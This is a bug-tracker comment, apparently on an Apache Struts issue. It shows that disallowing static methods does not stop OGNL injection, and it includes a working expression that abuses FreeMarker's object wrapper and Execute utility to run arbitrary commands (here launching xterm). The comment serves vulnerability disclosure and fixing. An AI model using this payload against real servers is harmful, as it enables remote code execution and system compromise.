Markus Wulftange commented on WW-4348:
--------------------------------------

Disallowing static methods isn't sufficient. With access to FreeMarker's 
_BeansWrapper_ instance, it is still possible to create an instance of any 
class.

For example, by creating a FreeMarker _Template_ instance which utilizes the 
_Execute_ utility, it is still possible to execute arbitrary commands:

{noformat}
#application["freemarker.Configuration"]["objectWrapper"].newInstance(
        
#context["com.opensymphony.xwork2.dispatcher.ServletContext"].classLoader.loadClass("freemarker.template.Template"),
        {
                
#application["freemarker.Configuration"]["objectWrapper"].wrap(""),
                
#application["freemarker.Configuration"]["objectWrapper"].wrap("<#assign 
ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"xterm\")}"),
                
#application["freemarker.Configuration"]["objectWrapper"].wrap(#application["freemarker.Configuration"])
        }
).process(
        null,
        
#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter()
)
{noformat}
